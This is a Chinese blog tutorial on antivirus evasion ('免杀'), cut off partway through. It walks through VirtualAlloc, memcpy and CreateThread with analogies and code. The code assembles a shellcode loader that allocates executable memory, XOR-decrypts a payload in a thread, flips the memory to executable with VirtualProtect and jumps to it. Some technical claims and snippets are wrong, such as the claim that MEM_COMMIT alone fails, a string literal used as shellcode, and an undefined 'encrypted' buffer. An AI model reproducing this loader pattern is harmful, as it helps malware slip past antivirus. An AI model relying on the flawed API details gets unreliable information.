免杀一 线程加载
免杀一 线程加载
文章目录
- 免杀一 线程加载
- 前言
- 基础钩子函数
- VirtualAlloc 虚拟分配
- 参数一 [in, optional] lpAddress [起始地址]
- 参数二 [in] dwSize [申请内存大小]
- 参数三 [in] flAllocationType [内存操作类型]
- 参数四 [in]flprotect [内存的保护属性]
- 案例
- memcpy [内存分配]
- 案例
- CreateThread 线程创建
- 参数一 [in,optional] lpThreadAttributes 设置线程的安全属性和句柄继承性
- 参数二 [in] dwStackSize 线程堆栈大小
- 参数三 [in]lpStartAddress 执行函数
- 参数四 [in,optional] lpParameter 线程函数中需要的参数指针
- 参数五 [in]dwCreationFlages 控制线程创建的标志
- 参数六 [out,optional] lpThreadId 收线程标识符的指针
- 案例
- WaitForSingleObject
- 参数一 [IN] HANDLE 句柄执行的线程
- 参数二 [in] dwMilliseconds
- CloseHandle 释放系统资源
- VirtualFree 释放申请的内存空间
- 完整代码示例
前言
好长时间没有更新了,这段时间在想要不要写点免杀的东西,很多朋友应该是会点免杀但是对winapi不是很熟悉,我就带大家以免杀的角度来了解Windowsapi
基础钩子函数
VirtualAlloc 虚拟分配
LPVOID VirtualAlloc([in, optional] LPVOID lpAddress,[in] SIZE_T dwSize,[in] DWORD flAllocationType,[in] DWORD flProtect
);
该函数包括在windows.h头文件中
该函数调用windows api memoryapi.h
该函数一共有四个参数
功能
保留、提交或更改调用进程的虚拟地址空间中页面区域的状态。
此函数分配的内存会自动初始化为零。
若要在另一进程的地址空间中分配内存可以使用VirtualAllocEx函数
参数一 [in, optional] lpAddress [起始地址]
分配起始地址
填写内容 | 参数示例 | 使用场景 | 原理说明(大白话版) | 注意事项 |
---|---|---|---|---|
NULL | NULL | 普通内存分配 | “电脑你随便找个地方存吧” | 最简单安全,系统自动找合适位置 |
具体内存地址 | (LPVOID)0x00010000 | 精细控制内存位置 | “我想存到这个位置!”(实际会被调整到最近的4KB/64KB对齐地址) | 需要精确计算地址,容易出错 |
Enclave新地址 | (LPVOID)0xE0000000 | 新建安全隔离区 | “在新建的保险箱里放空白页”(系统自动初始化零页) | 必须确保该区域未被使用 |
SGX1 Enclave地址 | (LPVOID)0xE0010000 | 已锁定的旧式安全区 | “想在封存的保险箱加东西” → 直接报错"无效地址" | 仅SGX1环境会出现,需提前规划好内存 |
SGX2 Enclave地址 | (LPVOID)0xE0020000 | 扩展新型安全区 | “在智能保险箱预留位置” → 可分配但需后续验证 | 需要确认硬件支持SGX2 |
错误地址 | (LPVOID)0x0000FFFF | 测试错误处理 | “想在两个货架中间塞东西” → 地址被调整到最近的合法位置(如0x00010000) | 可能造成预期外的地址偏移 |
补充说明:
-
对齐规则:就像停车必须停到车位里,系统会自动把地址"停"到最近的合法位置
-
Enclave类型
:
- SGX1:一次性保险箱(初始化后不能改)
- SGX2:可升级保险箱(支持动态调整)
-
典型错误:
ERROR_INVALID_ADDRESS
= “你想存的位置不合法!”
使用口诀:
- 普通程序用NULL,省心省力少烦恼
- 特殊需求定地址,对齐规则要记牢
- 安全区域操作时,硬件支持先确认
参数二 [in] dwSize [申请内存大小]
申请内存的大小
这个参数是告诉电脑:“我要存的东西大概占怎么大的空间”。但电脑有自己的存储规则:
- 自动凑整:就像买纸必须整包买(假设每包500张),如果你要480张,电脑会直接给你一包500张
- 跨页处理:如果你选的位置横跨两个"纸包"(内存页),电脑会把涉及到的所有纸包都给你
- 单位转换:1页=4KB(通常),1分配粒度=64KB(通常),用
GetSystemInfo
可以查具体值
参数示例 | 使用场景 | 原理说明(大白话版) | 注意事项 |
---|---|---|---|
4096 | 刚好1页内存(4KB) | “正好要一包纸” → 直接分配1页 | 最理想情况,无浪费 |
3000 | 小内存需求 | “要3/4包纸” → 还是给整包(分配4KB) | 实际获得4096字节 |
8193 | 跨页申请 | “要2包纸再多1字节” → 实际分配3页(12KB) | 注意可能的内存浪费 |
0 | 错误测试 | “我什么都不要” → 直接报错 | 必须大于0 |
262144 | 大内存分配(256KB) | “要50包纸” → 系统检查是否有连续50包的空间 | 需要连续内存空间,大申请可能失败 |
随lpAddress变化的动态大小 | 精确地址分配 | 根据起始地址计算需要多少"纸包" | 需要自行计算页边界 |
带小数的数值(错误示例) | 错误输入 | “要3.5包纸” → 系统自动取整(但参数类型为DWORD应传整数) | 实际编程中应避免非整数值 |
补充说明:
-
页边界计算:假设页大小4KB(0x1000)
- 起始地址0x1234,大小3000字节 → 覆盖0x1234-0x1234+3000=0x1F24
- 涉及页:0x1000-0x1FFF 和 0x2000-0x2FFF → 分配2页
-
系统函数:用
GetSystemInfo
可以获取:SYSTEM_INFO info; GetSystemInfo(&info); DWORD pageSize = info.dwPageSize; // 通常4096 DWORD allocGranularity = info.dwAllocationGranularity; // 通常65536 copy
-
编程技巧:
// 正确计算分配大小 DWORD needSize = 5000; // 需要5000字节 DWORD realSize = ((needSize / pageSize) + 1) * pageSize; // 实际分配8192字节 copy
使用口诀:
- 内存分配按页算,零头也会凑整页
- 地址如果自己选,跨页就会多给页
- 大块内存申请时,连续空间是关键
参数三 [in] flAllocationType [内存操作类型]
flAllocationType决定了如何分配内存,比如是实际分配物理内存(MEM_COMMIT),还是仅仅保留地址空间(MEM_RESERVE)。可以将其类比为停车场的不同操作:预订车位、实际停车、标记车位为暂时不用等。
这个参数是选择内存分配的方式,就像选择停车方式:
- 普通停车(MEM_COMMIT):实际占用车位
- 预约车位(MEM_RESERVE):先占个空位但不停车
- 临时离场(MEM_RESET):车还在车位,但告诉管理员"暂时别动我的车"
- 特殊车位:大型车辆车位(MEM_LARGE_PAGES)、物流专用区(MEM_PHYSICAL)等
详细表格
标志名称 | 参数示例 | 使用场景 | 原理说明(大白话版) | 注意事项 |
---|---|---|---|---|
MEM_COMMIT | MEM_COMMIT | 实际使用内存 | “我要正式停车了”(分配实际内存空间) | 必须配合已预约的车位(MEM_RESERVE)使用 |
MEM_RESERVE | MEM_RESERVE | 预留地址空间 | “先占个车位但不停车”(保留地址范围但不分配内存) | 其他内存函数无法使用这个区域 |
MEM_COMMIT|MEM_RESERVE | `MEM_COMMIT | MEM_RESERVE` | 一步到位分配 | “我要马上停车并占用车位”(同时保留和提交) |
MEM_RESET | MEM_RESET | 临时释放内存 | “车停着但别动它”(标记内存不再使用,系统可能优化) | 内存内容可能被清零,不能用于文件映射内存 |
MEM_RESET_UNDO | MEM_RESET_UNDO | 恢复被标记的内存 | “我要重新使用这个车位”(撤销之前的MEM_RESET标记) | 仅Windows 8+支持,需之前成功执行过MEM_RESET |
MEM_LARGE_PAGES | MEM_LARGE_PAGES | 分配超大内存页 | “我要停大卡车”(使用2MB等大页内存) | 需要管理员权限,大小必须是大页的整数倍 |
MEM_PHYSICAL | MEM_PHYSICAL | 物理内存映射 | “这是物流专用区”(用于地址窗口扩展AWE) | 必须配合MEM_RESERVE使用 |
MEM_TOP_DOWN | MEM_TOP_DOWN | 高位优先分配 | “从停车场顶层开始找车位”(从高地址开始分配) | 分配速度较慢,用于特殊内存布局需求 |
MEM_WRITE_WATCH | MEM_WRITE_WATCH | 监控内存写入 | “给车位安装监控摄像头”(跟踪哪些内存页被修改过) | 必须配合MEM_RESERVE使用,影响性能 |
重点说明:
-
常用组合:
MEM_COMMIT | MEM_RESERVE
就像同时完成车位预约和停车 -
特殊权限:使用大页内存(MEM_LARGE_PAGES)需要
SeLockMemoryPrivilege
权限 -
错误示范
:
// 错误:未预约直接停车 VirtualAlloc(NULL, 4096, MEM_COMMIT, PAGE_READWRITE); // 正确:预约+停车同时进行 VirtualAlloc(NULL, 4096, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); copy
使用口诀:
- 普通使用选提交,预留地址要保留
- 一步到位最方便,组合使用省步骤
- 特殊需求看标志,权限对齐不能少
- 监控重置按需用,系统版本要注意
核心功能:决定怎么"占车位"
把这个参数想象成在停车场管理车辆的指令:
- MEM_RESERVE(0x00002000)
→ “我要预定10个连续车位(但暂时不放车)”
作用:先占着地址空间,防止别人使用,但不实际消耗资源 - MEM_COMMIT(0x00001000)
→ “我要实际使用之前预定的车位”
作用:真正占用物理内存(相当于把车停进车位) - MEM_RESET(0x00080000)
→ “这些车位上的车暂时不用了,但别把车拖走”
作用:告诉系统这些内存暂时不用,但保持预留状态 - MEM_LARGE_PAGES(0x20000000)
→ “我要用加长车位停房车”
作用:使用更大的内存单元(通常2MB/1GB),提升性能但需要特殊条件
实际工作流程演示:
// 第一步:预定10个车位(保留地址空间)
void* p = VirtualAlloc(NULL, 1024*1024, MEM_RESERVE, PAGE_READWRITE);// 第二步:实际使用前5个车位(提交部分内存)
VirtualAlloc(p, 4096*5, MEM_COMMIT, PAGE_READWRITE);// 使用内存...// 第三步:告诉系统中间3个车位暂时不用了(MEM_RESET)
VirtualAlloc((char*)p+4096*1, 4096*3, MEM_RESET, PAGE_READWRITE);// 第四步:重新启用这些车位(MEM_RESET_UNDO)
VirtualAlloc((char*)p+4096*1, 4096*3, MEM_RESET_UNDO, PAGE_READWRITE);
copy
为什么需要这个参数?
- 精细控制内存:就像停车时可以灵活决定占位方式
- 优化资源使用:避免一次性占用所有物理内存
- 特殊需求支持:大内存页提升性能、监控内存修改等
常见组合用法:
- 开卡即停:
MEM_COMMIT | MEM_RESERVE
→ 预定车位同时停车 - 分批使用:先
MEM_RESERVE
大空间,再逐步MEM_COMMIT
部分区域 - 内存监控:
MEM_RESERVE | MEM_WRITE_WATCH
→ 监视指定区域的内存写入
记住这个参数就是告诉系统:“我要以什么方式占用内存空间”,就像选择不同的停车策略一样。
参数四 [in]flprotect [内存的保护属性]
flProtect参数指定内存页的保护属性,如可读、可写、可执行等。常见的值包括PAGE_READONLY、PAGE_READWRITE、PAGE_EXECUTE_READ等。此外,还有一些特殊标志如PAGE_GUARD(保护页)和PAGE_NOCACHE(非缓存)
这个参数就像给内存区域设置"权限门禁":
- 控制程序能否读、写、执行该内存
- 设置特殊功能(如缓存策略、防护机制)
标志名称 | 参数示例 | 使用场景 | 原理说明(大白话版) | 注意事项 |
---|---|---|---|---|
PAGE_READONLY | PAGE_READONLY | 只读数据存储 | “这个区域只能看不能改”(允许读取,禁止写入) | 试图写入会导致访问冲突 |
PAGE_READWRITE | PAGE_READWRITE | 常规内存操作 | “可读可写的工作区”(默认最常用设置) | 不可执行代码,安全系数较高 |
PAGE_EXECUTE_READ | PAGE_EXECUTE_READ | 存放可执行代码 | “这里存的是程序代码,可以运行”(允许执行和读取) | 现代系统通常禁止可写可执行代码 |
PAGE_EXECUTE_READWRITE | PAGE_EXECUTE_READWRITE | 动态生成代码 | “既能修改又能执行的代码区”(危险但必要时使用) | 容易被恶意利用,需特别谨慎 |
PAGE_WRITECOMBINE | PAGE_WRITECOMBINE | 显卡内存映射 | “批量打包写入更高效”(优化对硬件设备的写入) | 专用于设备内存映射 |
PAGE_GUARD | PAGE_GUARD | 内存监控 | “这个区域访问就报警”(首次访问触发异常) | 常用于堆栈保护 |
PAGE_NOCACHE | PAGE_NOCACHE | 直接访问设备内存 | “不要用缓存,直接读写”(绕过CPU缓存) | 用于设备驱动开发 |
PAGE_EXECUTE | PAGE_EXECUTE | 旧系统兼容 | “可以运行但不能看”(实际很少使用) | 现代系统通常不允许 |
重点说明:
-
安全规范:现代系统(DEP保护)通常禁止同时可写和可执行
// 危险示例(可能被病毒利用): VirtualAlloc(..., PAGE_EXECUTE_READWRITE); // 安全做法: VirtualAlloc(..., PAGE_READWRITE); // 需要执行时再修改权限: VirtualProtect(..., PAGE_EXECUTE_READ); copy
-
特殊组合:可以和之前的分配类型组合使用
// 保留可执行内存区域: VirtualAlloc(NULL, size, MEM_RESERVE, PAGE_EXECUTE_READ); copy
-
硬件相关:
PAGE_WRITECOMBINE
和PAGE_NOCACHE
通常用于驱动开发
使用口诀:
- 常规读写选RW,执行代码用ER
- 安全防护要牢记,可写执行不共存
- 硬件操作特殊标,缓存策略按需选
- 监控报警设Guard,首次访问就触发
案例
#include <windows.h>unsigned char shellcode[] = {0x90, 0x90, 0xC};
//分配内存
LPVOID memory = VirtualAlloc(NULL,sizeof(shellcode),MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
memcpy [内存分配]
memcpy的作用是将shellcode的数据复制到分配的内存中。可以比喻为把一段代码“搬运”到准备好的内存空间里,以便后续执行。
参数方面:
- 第一个参数是目标地址,也就是之前分配的内存块的位置。
- 第二个参数是源数据,即shellcode数组本身,里面存着要执行的代码。
- 第三个参数是要复制的字节数,这里用sizeof(shellcode)来自动计算数组的长度,确保复制整个数据。
需要强调每个参数的作用,以及为什么需要它们。例如,目标地址必须是有效的内存位置,否则会导致程序崩溃;源数据必须有实际内容;复制的字节数必须正确,否则可能复制不全或越界。
参数 | 作用 | 注意事项 |
---|---|---|
目标地址 | 存放复制内容的内存 | 必须确保内存已成功分配(不是NULL) |
源数据 | 要复制的原始数据 | 数据需要正确初始化,不能是空数组或空指针 |
字节数 | 复制多少内容 | 必须和实际数据大小一致,避免溢出或不足 |
memcpy
的作用就像快递员:把 shellcode
这个"包裹"(你的程序代码)原封不动地搬运到新申请的内存"仓库"里。需要明确告诉快递员:
- 送到哪个地址(
memory
) - 要送什么货(
shellcode
) - 货物有多大(
sizeof(shellcode)
)
参数表格
参数 | 示例 | 作用 | 注意事项 |
---|---|---|---|
dest | mem | 目标地址(搬到哪里) | 必须足够大,否则会溢出(像小仓库塞大货) |
src | shellcode | 源数据地址(搬什么) | 必须已初始化,否则搬的是"垃圾数据" |
count | sizeof(shellcode) | 要搬的字节数(搬多少) | 要准确计算:数组长度×元素大小(如int数组要×4) |
-
功能:把
shellcode
里的机器指令复制到mem
指向的内存 -
风险
:
- 如果
mem
空间不够 → 程序崩溃 - 如果
mem
不可执行 → 现代系统会阻止运行 - 如果
shellcode
包含恶意代码 → 可能被利用攻击
- 如果
通俗原理
常见坑点
-
空箱子问题
unsigned char shellcode[] = {}; // 相当于寄空箱子 copy
-
地址错误
LPVOID memory = NULL; // 相当于没写收货地址 memcpy(memory, ...); // 快递员不知道往哪送 copy
-
尺寸计算错误
// 如果shellcode是指针(不是数组) sizeof(shellcode); // 相当于只寄了快递单(指针地址),没寄货物
案例
#include <windows.h> //导入winapi//定义执行机器码
unsigned char code[]="0x95,0x96,0x97";//申请内存
LPVOID memory = VirtualAlloc(NULL,sizeof(code),MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);//分配内存
memcpy(memory,code,sizeof(code));
CreateThread 线程创建
HANDLE CreateThread([in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,[in] SIZE_T dwStackSize,[in] LPTHREAD_START_ROUTINE lpStartAddress,[in, optional] __drv_aliasesMem LPVOID lpParameter,[in] DWORD dwCreationFlags,[out, optional] LPDWORD lpThreadId
);
CreateThread函数是用来创建在调用进程的虚拟地址空间内执行的线程。
若要创建在另一个进程的虚拟地址空间中运行的线程,请使用 CreateRemoteThread 函数。
参数表格
参数 | 示例 | 作用 | 注意事项 |
---|---|---|---|
lpThreadAttributes | NULL | 线程安全性设置 | 99%情况用NULL |
dwStackSize | 0 | 栈内存大小(字节) | 0=默认值(通常1MB),最大不超过64KB(嵌入式系统) |
lpStartAddress | ThreadProc | 线程处理函数 | 必须符合格式:DWORD WINAPI ThreadProc(LPVOID lpParameter) |
lpParameter | (LPVOID)123 | 传给线程函数的参数 | 可传递任意类型数据(需要强制转换) |
dwCreationFlags | 0 或 CREATE_SUSPENDED | 创建标志 | 0=立即执行,CREATE_SUSPENDED=创建后暂停(需ResumeThread唤醒) |
lpThreadId | NULL | 返回线程ID | 不需要ID时可设为NULL |
该函数包括在windows.h头文件中
该函数调用processthreadsapi.h
该函数有6个参数
参数一 [in,optional] lpThreadAttributes 设置线程的安全属性和句柄继承性
lpThreadAttributes用于设置线程的安全属性和句柄继承性。主要控制两点:
1)线程句柄是否可被子进程继承;
2)线程的安全描述符(访问权限)。
大多数情况下设为NULL,即不可继承并使用默认安全设置。当需要子进程继承句柄或设置特殊权限时,需自定义SECURITY_ATTRIBUTES结构。
lpThreadAttributes参数的作用:
这个参数就像给新线程发"工作证",主要控制两个事情:
- 能不能把线程句柄传给子进程(像工作证能不能借给别人)
- 线程的安全权限(像工作证有哪些门禁权限)
核心功能:
- 决定线程句柄的继承性
- 设置线程的访问控制规则(谁可以操作这个线程)
填写内容 | 参数示例 | 使用场景 | 原理说明 | 注意事项 |
---|---|---|---|---|
NULL | NULL | 普通线程 | “用默认设置:不继承+默认权限” | 适用于99%的常规情况 |
允许继承的句柄 | SECURITY_ATTRIBUTES sa = { sizeof(sa), NULL, TRUE}; | 跨进程线程管理 | “这个线程句柄可以传给子进程使用” | 需要配合CreateProcess的继承参数使用 |
自定义安全规则 | SECURITY_ATTRIBUTES sa = { sizeof(sa), pSD, FALSE};` | 高安全要求的线程 | “这个线程只允许管理员操作” | 需要提前创建安全描述符(pSD),需要管理员权限 |
显式拒绝继承 | SECURITY_ATTRIBUTES sa = { sizeof(sa), NULL, FALSE};` | 敏感线程 | “明确表示这个句柄不能外传” | 虽然效果和NULL相同,但代码可读性更好 |
使用场景对比表
场景 | 推荐设置 | 原因 |
---|---|---|
普通后台线程 | NULL | 无需特殊设置,简单安全 |
需要监控的线程 | 自定义安全描述符 | 限制对线程的访问权限 |
进程池管理 | 允许继承的句柄 | 方便父进程管理子进程中的线程 |
安全关键服务 | 显式拒绝继承+自定义权限 | 最大限度防止未经授权的访问 |
-
NULL 的情况:
CreateThread(NULL, ...); copy
- 相当于:“给普通工作证”
- 不能借给子公司
- 默认权限(和老板的权限一样)
-
自定义设置的情况:
SECURITY_ATTRIBUTES sa = {sizeof(SECURITY_ATTRIBUTES), // 必须填表头NULL, // 权限和老板一样TRUE // 允许借给子公司 }; CreateThread(&sa, ...); copy
- 相当于:“定制工作证”
- 可以借给子公司
- 权限等级和老板相同
实际场景示例
场景1:普通后台线程
// 就像雇个清洁工 HANDLE hCleaner = CreateThread(NULL, // 用默认工作证0, // 默认工具包Clean, // 打扫任务NULL, // 不需要额外参数0, // 立即上岗NULL // 不记录工号 ); copy
场景2:需要跨部门协作的线程
// 就像雇个快递员,要把工作证传给子公司 SECURITY_ATTRIBUTES saDriver = {sizeof(SECURITY_ATTRIBUTES),NULL, // 默认权限TRUE // 允许借出工作证 }; HANDLE hDriver = CreateThread(&saDriver, // 定制工作证0, Deliver, NULL, 0, NULL ); copy
场景3:财务部机密线程
// 就像雇个会计师,需要特殊权限 SECURITY_DESCRIPTOR sdFinance; // 创建只有财务总监能访问的权限设置... SECURITY_ATTRIBUTES saFinance = {sizeof(SECURITY_ATTRIBUTES),&sdFinance, // 特殊权限FALSE // 工作证不能外借 }; HANDLE hAccountant = CreateThread(&saFinance,0,Accounting,NULL,0,NULL );
关键总结
-
什么时候用NULL
就像雇普通员工,不需要特殊权限和跨部门协作时 -
什么时候要自定义
- 需要把线程句柄传给其他程序时(bInheritHandle=TRUE)
- 需要限制谁可以操作这个线程时(设置lpSecurityDescriptor)
-
千万不能忘
sa.nLength = sizeof(sa); // 就像填表必填的"填表日期" copy
不写这句系统就不认你的设置!
使用口诀
- 线程属性三要素,大小继承和安全
- 默认传空最省事,需要继承设TRUE
- 安全描述需谨慎,不懂别碰保平安
- 结构大小必须填,否则系统要翻脸
参数二 [in] dwStackSize 线程堆栈大小
dwStackSize指定线程堆栈的初始大小,系统会将其舍入到最近的页大小(如4KB)。若为0,则使用默认值(通常1MB)。堆栈用于存储局部变量、函数调用信息等,过小可能导致栈溢出,过大浪费内存。
dwStackSize参数就像给新线程分配"工作台大小":
- 作用:决定线程能堆放多少临时物品(局部变量)和记录多少工作步骤(函数调用)
- 特点:实际大小会被凑整到4KB的倍数(就像工作台尺寸必须是标准规格)
参数详解表格
参数示例 | 使用场景 | 原理说明 | 注意事项 |
---|---|---|---|
0 | 普通线程 | “用公司标准工作台”(默认1MB) | 适用于99%的情况 |
4096 | 极小内存环境 | “定制4KB小工作台” | 容易堆栈溢出(Stack Overflow) |
2097152 | 需要深度递归的线程 | “特制2MB大工作台” | 浪费内存资源,需谨慎使用 |
32768 | 特定需求的嵌入式系统 | “32KB专用工作台” | 需根据实际测试调整大小 |
补充说明
-
默认值查询:
#pragma comment(linker, "/STACK:1048576") // 修改默认栈大小(1MB) copy
在VC++中,默认栈大小由编译器选项决定
-
栈溢出错误:
void RecursiveFunc() {char buf[1024]; // 每次递归消耗1KBRecursiveFunc(); // 递归1024次就会耗尽1MB默认栈 } copy
会触发
ERROR_STACK_OVERFLOW
(0x800703E9) -
正确设置示例:
// 创建使用4MB栈的线程 HANDLE hThread = CreateThread(NULL,4*1024*1024, // 4MBThreadFunc,NULL,0,NULL ); copy
使用场景对比表
场景 | 推荐设置 | 原因 |
---|---|---|
普通业务逻辑 | 0 | 默认值安全可靠 |
深度递归算法 | 4MB+ | 防止栈溢出 |
嵌入式实时系统 | 自定义 | 根据硬件资源优化 |
临时小任务 | 64KB | 节省内存资源 |
注意事项
-
不要盲目改大:栈内存是预先保留的,设置过大会浪费资源
-
栈溢出难调试:会导致线程直接崩溃,无异常提示
-
编译器差异
:
- VC++默认1MB
- Linux pthread默认2MB
- 不同编译器可能不同
-
替代方案:对于需要大内存的操作,建议改用堆内存(malloc/new)
使用口诀
- 线程栈大小参数,默认给零最方便
- 深度递归需增大,资源有限要缩减
- 溢出错误难察觉,局部变量别太大
- 内存宝贵需珍惜,能小不大是原则
参数三 [in]lpStartAddress 执行函数
lpStartAddress是线程开始执行时调用的函数指针,该函数必须符合特定签名(返回DWORD,接受LPVOID参数,使用WINAPI调用约定)。函数内包含线程的主要逻辑,如处理数据、执行循环等。
线程函数是员工的任务清单,lpStartAddress告诉新员工从哪个任务开始执行。参数lpParameter可传递任务所需的特定数据。
lpStartAddress参数就像给新员工的任务清单:
- 作用:告诉新线程"你从哪个任务开始工作"
- 要求:任务清单必须符合公司标准格式(参数和返回值类型固定)
参数详解表格
参数示例 | 使用场景 | 原理说明 | 注意事项 |
---|---|---|---|
ThreadProc | 普通线程任务 | “按标准流程工作”(执行定义好的函数) | 函数必须符合DWORD WINAPI格式 |
&DownloadTask | 文件下载线程 | “专门处理下载任务” | 确保函数线程安全 |
ProcessData | 数据处理线程 | “对传入的数据进行分析” | 通过lpParameter传递数据指针 |
reinterpret_cast<LPTHREAD_START_ROUTINE>(0x12345678) | 高级场景 | “从指定内存地址开始执行”(危险操作!) | 仅用于特殊需求,如动态生成代码 |
线程函数标准格式
有两种方法
场景 | 参数位置 | 典型用途 | 内存权限要求 |
---|---|---|---|
传递内存作为参数 | CreateThread第4参数 | 线程函数处理外部数据 | PAGE_READWRITE |
直接执行内存代码 | CreateThread第3参数 | 运行shellcode/注入代码 | PAGE_EXECUTE_READ |
第一种方法 参数传递
线程入口是一个标准函数,内存作为数据参数传递,由函数处理。
- 传递内存作为参数
- 相当于:给工人一张图纸(参数),让工人按照图纸(你的函数)工作
- 工人 = 系统线程
- 图纸 = 内存数据
- 工作方法 = 你编写的函数
DWORD WINAPI ThreadProc(LPVOID param){//这里写工作内容 这里可以完成一些加解密的操作以及一些内存权限修改的操作return 0;
};
例如
DWORD WINAPI DecryptAndExecute(LPVOID param)//由子线程传递参数
{unsigned char* sc = (unsigned char*)param;// 1. 解密操作for(int i=0; i<sizeof(encrypted); i++){sc[i] ^= 0x55; //边解密边赋值 把解密后的内存重新擦写到内存中}// 2. 修改内存权限为可执行DWORD oldProtect;if(!VirtualProtect(sc, sizeof(encrypted), PAGE_EXECUTE_READ, &oldProtect))//修改内存保护权限&oldProtect为老权限 PAGE_EXECUTE_READ为要覆盖的新权限 (内存,大小,新权限,老权限){printf("修改权限失败!错误码:0x%X\n", GetLastError());return 1;} //直接// 3. 执行解密后的 shellcodeprintf("开始执行解密后的代码...\n");((void(*)())sc)();//将 sc 这个普通指针转换为函数指针return 0;
}//但是在createthread函数中要传入内存地址
main(){HANDLE thread = CreateThread(NULL,0,DecryptAndExecute, // 使用处理函数memory, // 传递内存地址0,NULL);
};
步骤1:异或解密
for(int i=0; i<sizeof(encrypted); i++){sc[i] ^= 0x55; // 异或解密
}
copy
-
作用:直接在内存中修改数据
-
内存变化
:
原始内存:C5 45 解密后:90 10
步骤2:类型转换
(void(*)())sc
copy
-
含义:将
sc
这个普通指针转换为函数指针 -
等价解释
:
typedef void (*FuncType)(); // 定义函数指针类型 FuncType func = (FuncType)sc; // 强制类型转换
参数传递流程
- 主线程:把保险箱(内存)地址告诉工人(子线程)
- 工人:到保险箱位置(param地址)修改内容(解密)
- 工人:直接使用保险箱里的工具(执行代码)
内存操作流程
第二种方法直接执行
内存中的代码被当作线程入口函数执行,需要符合函数调用约定。
- 直接执行内存代码
- 相当于:直接让工人变成机器人,按内存中的指令集行动
- 机器人指令 = 内存中的机器码
- 系统不会检查指令是否合理,直接执行
成功条件:
- 内存包含有效的机器指令
- 指令符合Windows线程调用约定(__stdcall)
- 内存具有执行权限(PAGE_EXECUTE_READ)
直接将shellcode强制转换为LPTHREAD_START_ROUTINE类型
HANDLE thread = CreateThread(NULL,0,LPTHREAD_START_ROUTINE(memory),NULL,0,NULL)//HANDLE类型为指针类型
HANDLE 本质
特征 | 说明 |
---|---|
实际类型 | void*(但具体结构不公开) |
数值表现 | 通常是一个4字节或8字节的数字 |
作用范围 | 只在当前进程有效 |
安全限制 | 不能跨进程直接使用 |
常见 HANDLE 类型
API | 返回的 HANDLE 代表 |
---|---|
CreateThread | 线程对象 |
CreateFile | 文件对象 |
CreateMutex | 互斥锁对象 |
FindFirstFile | 文件搜索对象 |
HANDLE 就像 游乐场的游玩券
-
获得券:
当你玩项目(创建线程/打开文件),工作人员(系统)给你一张券(HANDLE)HANDLE ticket = CreateThread(...); // 拿到游玩券 copy
-
使用券:
凭券享受服务,但不能直接操作设备WaitForSingleObject(ticket, INFINITE); // 出示券等待完成 copy
-
归还券:
玩完后必须还券,否则会占用资源CloseHandle(ticket); // 归还游玩券 copy
关键特性
场景 | 类比 |
---|---|
不能直接操作资源 | 不能自己开过山车 |
系统内部管理 | 工作人员控制设备 |
唯一标识资源 | 每张券有唯一编号 |
必须通过API操作 | 必须遵守使用规则 |
对比表格
特征 | 参数传递法 | 直接执行法 |
---|---|---|
控制权 | 你的函数控制流程 | 内存中的机器码控制流程 |
安全性 | 安全(合法函数) | 高危(可能触发杀毒软件) |
典型用途 | 多线程数据处理 | 代码注入/漏洞利用 |
崩溃风险 | 低 | 高(指令错误立即崩溃) |
权限要求 | PAGE_READWRITE | PAGE_EXECUTE_READ |
- 参数传递就像让厨师(线程)按照你给的菜谱(函数)处理食材(内存数据)
- 直接执行就像把厨师变成机器人,直接把食谱程序(机器码)灌入他的大脑(内存)
参数四 [in,optional] lpParameter 线程函数中需要的参数指针
传递给线程函数的参数指针
lpParameter允许向线程函数传递一个指针,用于传递数据或配置信息。该指针可以是任意类型的数据,如结构体、整数、对象指针等。线程函数通过转换该指针来访问数据
如给新员工(线程)一个文件夹(参数),内含任务说明。需要注意指针的生命周期,确保在线程使用时数据有效,避免悬垂指针。
lpParameter`就像给新员工的"工作资料袋":
- 作用:把主线程需要传递的信息交给新线程
- 特点:可以放任何类型的数据(数字、文本、复杂资料)
参数详解表格
参数示例 | 使用场景 | 原理说明 | 注意事项 |
---|---|---|---|
NULL | 不需要额外参数 | “空资料袋” | 线程函数需要处理NULL情况 |
(LPVOID)123 | 传递简单整数 | “袋里装个数字条”(把整数直接当指针传递) | 仅适用于32/64位兼容的整型(DWORD_PTR) |
(LPVOID)&data | 传递复杂数据结构 | “袋里装文件地址”(传递结构体/对象的指针) | 确保数据生命周期长于线程 |
(LPVOID)“Hello” | 传递字符串 | “袋里装便签条”(传递字符串常量地址) | 只能用于常量字符串,动态字符串需动态分配 |
(LPVOID)pObject | 传递C++对象 | “袋里装设计图”(传递类实例指针) | 需要保证线程安全,防止竞态条件 |
示例1:传递整数
DWORD WINAPI ThreadProc(LPVOID param) {int num = (int)(DWORD_PTR)param;printf("收到数字: %d", num);return 0;
}int main() {int number = 42;CreateThread(..., (LPVOID)(DWORD_PTR)number, ...);//在lpParameter中需要传递线程函数需要的参数
}
copy
示例2:传递结构体
struct TaskInfo {int id;char name[20];
};DWORD WINAPI ThreadProc(LPVOID param) {TaskInfo* task = (TaskInfo*)param;printf("处理任务%d: %s", task->id, task->name);return 0;
}int main() {TaskInfo task = {1, "重要任务"};CreateThread(..., &task, ...);// 注意:要确保task在线程运行期间有效!
}
copy
示例3:传递动态字符串
DWORD WINAPI ThreadProc(LPVOID param) {char* text = (char*)param;printf("收到文本: %s", text);free(text); // 用完记得释放!return 0;
}int main() {char* msg = (char*)malloc(100);strcpy(msg, "动态分配的消息");CreateThread(..., msg, ...);
}
注意事项
要点 | 说明 |
---|---|
数据生命周期 | 确保传递的数据在线程使用期间有效(全局/动态分配) |
类型安全 | 在转换指针类型时要确保类型正确 |
线程安全 | 多线程访问共享数据要加锁(临界区/互斥锁) |
32/64位兼容 | 传递整数时使用DWORD_PTR 类型转换 |
内存管理 | 动态分配的内存要记得释放(最好由分配者释放) |
避免悬垂指针 | 不要传递局部变量的指针,除非确保线程在变量有效期内结束 |
多参数传递
可以定义结构体
struct Params {int x;double y;char* z;
};// 创建参数实例
Params* p = new Params{10, 3.14, "数据"};
CreateThread(..., p, ...);// 线程函数内
DWORD WINAPI ThreadProc(LPVOID param) {Params* p = (Params*)param;// 使用p->x, p->y, p->zdelete p; // 记得释放!return 0;
}
使用口诀
- 线程参数万能传,指针转换要谨慎
- 简单数字强转递,复杂结构用指针
- 生命周期要保证,局部变量小心用
- 多线程访问数据,锁机制是根本
参数五 [in]dwCreationFlages 控制线程创建的标志
